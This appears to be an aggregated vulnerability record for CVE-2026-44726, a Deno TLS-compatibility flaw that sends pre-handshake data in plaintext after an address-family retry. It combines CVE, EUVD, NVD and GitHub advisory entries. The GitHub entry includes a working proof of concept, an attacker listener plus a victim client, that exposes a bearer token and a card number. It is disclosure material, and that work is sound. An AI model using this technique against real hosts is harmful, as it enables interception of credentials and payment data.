{"id":"GHSA-chqv-56wv-7564","revision":null,"records":[{"revision":"cfcda5b82b1f4571b09bd2657149c274","observedAt":"2026-10-23T15:48:27.903+00:00","statement":{"source":"cve-program","id":"CVE-2026-44726","aliases":[],"title":"Deno: TLS retry copies stale upgrade hook, risking plaintext traffic","description":"Deno is a JavaScript, TypeScript, and WebAssembly runtime. From 2.0.0 until 2.7.8, a flaw in Deno's Node.js tls compatibility layer could cause a TLS client to transmit application data in plaintext after a connection retry. When `autoSelectFamily was enabled and the first address-family attempt failed, the socket reinitialization path reused a stale TLS upgrade hook that was bound to the original, failed handle. As a result, the replacement TCP connection was never upgraded to TLS, and any data the application wrote before the secureConnect event travelled over the network unencrypted. A network attacker positioned to cause the initial connection attempt to fail (for example, by dropping IPv6 traffic on a dual-stack host) could deterministically trigger the fallback path and observe or tamper with traffic that the application believed was TLS-protected. This vulnerability is fixed in 2.7.8.","state":0,"publishedAt":"2026-06-23T17:24:02.702+00:00","modifiedAt":"2026-06-25T13:48:50.17+00:00","affected":[{"ecosystem":"Vendor product","name":"deno","ranges":[],"versions":[],"rawVersionEvidence":"{\n                    \"vendor\": \"denoland\",\n                    \"product\": \"deno\",\n                    \"versions\": [\n                        {\n                            \"version\": \">= 2.0.0, < 2.7.8\",\n                            \"status\": \"affected\"\n                        }\n                    ]\n                }"}],"metrics":[{"system":"CVSS 3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N","score":7.4,"severity":"HIGH"}],"references":["https://github.com/denoland/deno/security/advisories/GHSA-chqv-56wv-7564"],"sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2026-44726","license":"CVE Program Terms of Use","key":"cve-program:CVE-2026-44726","identifiers":["CVE-2026-44726"]},"retained":false,"historicalAffected":[]},{"revision":"b192a6f8264a4641b37c5dbba8162581","observedAt":"2026-11-07T10:32:07.808+00:00","statement":{"source":"euvd","id":"EUVD-2026-38548","aliases":["CVE-2026-44726","GHSA-chqv-56wv-7564"],"title":"Deno is a JavaScript, TypeScript, and WebAssembly runtime. From 2.0.0 until 2.7.8, a flaw in Deno's Node.js tls compatibility layer could cause a TLS client to transmit application data in plaintext after a connection retry. When `autoSelec…","description":"Deno is a JavaScript, TypeScript, and WebAssembly runtime. From 2.0.0 until 2.7.8, a flaw in Deno's Node.js tls compatibility layer could cause a TLS client to transmit application data in plaintext after a connection retry. When `autoSelectFamily was enabled and the first address-family attempt failed, the socket reinitialization path reused a stale TLS upgrade hook that was bound to the original, failed handle. As a result, the replacement TCP connection was never upgraded to TLS, and any data the application wrote before the secureConnect event travelled over the network unencrypted. A network attacker positioned to cause the initial connection attempt to fail (for example, by dropping IPv6 traffic on a dual-stack host) could deterministically trigger the fallback path and observe or tamper with traffic that the application believed was TLS-protected. This vulnerability is fixed in 2.7.8.","state":0,"publishedAt":null,"modifiedAt":null,"affected":[],"metrics":[{"system":"EUVD CVSS 3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N","score":7.4,"severity":null}],"references":["https://github.com/denoland/deno/security/advisories/GHSA-chqv-56wv-7564"],"sourceUrl":"https://euvd.enisa.europa.eu/vulnerability/EUVD-2026-38548","license":"ENISA EUVD · source terms and attribution apply","enrichment":{"sourceStatus":null,"weaknesses":[],"productCriteria":[],"sourceDates":{"datePublished":"Jun 23, 2026, 5:24:02 PM","dateUpdated":"Jun 25, 2026, 1:48:50 PM"},"relatedAdvisories":[],"note":"EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON."},"key":"euvd:EUVD-2026-38548","identifiers":["EUVD-2026-38548","CVE-2026-44726","GHSA-chqv-56wv-7564"]},"retained":false,"historicalAffected":[]},{"revision":"d0712c0b66e34a6685192abaa12826ef","observedAt":"2026-10-27T11:12:17.434+00:00","statement":{"source":"nvd","id":"CVE-2026-44726","aliases":[],"title":"Deno is a JavaScript, TypeScript, and WebAssembly runtime. From 2.0.0 until 2.7.8, a flaw in Deno's Node.js tls compatibility layer could cause a TLS client to transmit application data in plaintext after a connection retry. When `autoSelec…","description":"Deno is a JavaScript, TypeScript, and WebAssembly runtime. From 2.0.0 until 2.7.8, a flaw in Deno's Node.js tls compatibility layer could cause a TLS client to transmit application data in plaintext after a connection retry. When `autoSelectFamily was enabled and the first address-family attempt failed, the socket reinitialization path reused a stale TLS upgrade hook that was bound to the original, failed handle. As a result, the replacement TCP connection was never upgraded to TLS, and any data the application wrote before the secureConnect event travelled over the network unencrypted. A network attacker positioned to cause the initial connection attempt to fail (for example, by dropping IPv6 traffic on a dual-stack host) could deterministically trigger the fallback path and observe or tamper with traffic that the application believed was TLS-protected. This vulnerability is fixed in 2.7.8.","state":0,"publishedAt":"2026-06-23T18:17:48.623+00:00","modifiedAt":"2026-10-25T23:10:00.167+00:00","affected":[],"metrics":[{"system":"CVSS 3.1 · security-advisories@github.com · Secondary","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N","score":7.4,"severity":"HIGH"},{"system":"CVSS 3.1 · nvd@nist.gov · Primary","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N","score":9.1,"severity":"CRITICAL"}],"references":["https://github.com/denoland/deno/security/advisories/GHSA-chqv-56wv-7564"],"sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-44726","license":"NIST NVD usage terms; underlying source attribution retained","enrichment":{"sourceStatus":"Analyzed","weaknesses":["CWE-319"],"productCriteria":["cpe:2.3:a:deno:deno:*:*:*:*:*:*:*:*"],"sourceDates":{"published":"2026-06-23T18:17:48.623","lastModified":"2026-10-25T23:10:00.167"},"relatedAdvisories":[],"note":"NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON."},"key":"nvd:CVE-2026-44726","identifiers":["CVE-2026-44726"]},"retained":false,"historicalAffected":[]},{"revision":"ec3a36f5c28b442aa147400e57126d6e","observedAt":"2026-10-24T13:19:54.901+00:00","statement":{"source":"osv","id":"GHSA-chqv-56wv-7564","aliases":["CVE-2026-44726"],"title":"Deno's TLS retry copies stale upgrade hook, risking plaintext traffic","description":"## Summary\n\nA flaw in Deno's Node.js tls compatibility layer could cause a TLS client to transmit application data in plaintext after a connection retry. When `autoSelectFamily was enabled and the first address-family attempt failed, the socket reinitialization path reused a stale TLS upgrade hook that was bound to the original, failed handle. \n\nAs a result, the replacement TCP connection was never upgraded to TLS, and any data the application wrote before the `secureConnect` event travelled over the network unencrypted.\n\nA network attacker positioned to cause the initial connection attempt to fail (for example, by dropping IPv6 traffic on a dual-stack host) could deterministically trigger the fallback path and observe or tamper with traffic that the application believed was TLS-protected.\n\n**Affected APIs**: Applications using Deno's `node:tls` or `node:https` surface with `autoSelectFamily` enabled (the default) that wrote to the socket before the `secureConnect` event.\n\n## Proof of concept\n\n`attacker.mjs` (captures whatever the client sends)\n\n```ts\nimport net from \"node:net\";\n\nconst server = net.createServer((socket) => {\n  console.log(\"[attacker] client connected from\", socket.remoteAddress);\n  socket.on(\"data\", (chunk) => {\n    // If TLS were working, this would be an opaque ClientHello.\n    // If the bug fires, we see the application payload in cleartext.\n    console.log(\"[attacker] received\", chunk.length, \"bytes:\");\n    console.log(chunk.toString(\"utf8\"));\n  });\n});\n\nserver.listen(4444, \"127.0.0.1\", () => {\n  console.log(\"[attacker] listening on 127.0.0.1:4444\");\n});\n```\n\n`victim.mjs` (a normal-looking TLS client)\n\n```ts\nimport tls from \"node:tls\";\n\nconst socket = tls.connect({\n  host: \"api.example.invalid\",\n  port: 4444,\n  autoSelectFamily: true, // Node-compat default\n\n  // First address is a black hole (nothing on [::1]:4444),\n  // so autoSelectFamily falls back to the second address.\n  // In a real attack, the on-path attacker arranges this via\n  // routing, DNS, or by dropping the first SYN.\n  lookup: (_host, _opts, cb) => {\n    cb(null, [\n      { address: \"::1\",       family: 6 }, // fails -> retry\n      { address: \"127.0.0.1\", family: 4 }, // attacker\n    ]);\n  },\n\n  rejectUnauthorized: false,\n});\n\n// Application writes BEFORE secureConnect — common pattern in\n// Node clients that pipe a request body or send a greeting.\nsocket.write(\"POST /v1/charge HTTP/1.1\\r\\n\");\nsocket.write(\"Authorization: Bearer sk_live_SECRET_TOKEN\\r\\n\");\nsocket.write(\"Content-Type: application/json\\r\\n\\r\\n\");\nsocket.write(JSON.stringify({ amount: 100, card: \"4242424242424242\" }));\n\nsocket.on(\"secureConnect\", () => console.log(\"[victim] secureConnect\"));\nsocket.on(\"error\",         (e) => console.log(\"[victim] error:\", e.message));\n```\n\n\nIn terminal 1 `deno run --allow-net attacker.mjs`\nIn terminal 2 `deno run --allow-net victim.mjs`\n\n### Expected vs. observed\n\nOn a patched Deno (≥ 2.7.8), the attacker terminal sees an opaque TLS ClientHello (a binary blob starting with `0x16 0x03\n0x01 …`), and the victim eventually errors out because the attacker isn't speaking TLS.\n\nOn a vulnerable Deno (≥ 2.0.0, < 2.7.8), the attacker terminal prints:\n\n```\n[attacker] received 41 bytes:\nPOST /v1/charge HTTP/1.1\nAuthorization: Bearer sk_live_SECRET_TOKEN\n...\n```\n\nThe bearer token, the request body, and the card number all appear in plaintext, even though the application used\n`tls.connect`.","state":0,"publishedAt":"2026-05-27T19:51:46+00:00","modifiedAt":"2026-07-20T14:00:26.9992246+00:00","affected":[{"ecosystem":"crates.io","name":"deno","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"2.0.0"},{"kind":"fixed","version":"2.7.8"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[{"system":"CVSS_V3","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N","score":null,"severity":null},{"system":"Publisher rating","vector":null,"score":null,"severity":"HIGH"}],"references":["https://github.com/denoland/deno/security/advisories/GHSA-chqv-56wv-7564","https://nvd.nist.gov/vuln/detail/CVE-2026-44726","https://github.com/denoland/deno"],"sourceUrl":"https://github.com/advisories/GHSA-chqv-56wv-7564","license":"GitHub Advisory Database · CC-BY-4.0","key":"osv:GHSA-chqv-56wv-7564","identifiers":["GHSA-chqv-56wv-7564","CVE-2026-44726"]},"retained":false,"historicalAffected":[]}],"coverage":[{"source":"cisa-kev:global","scope":"Complete CISA KEV catalog; all vendors. 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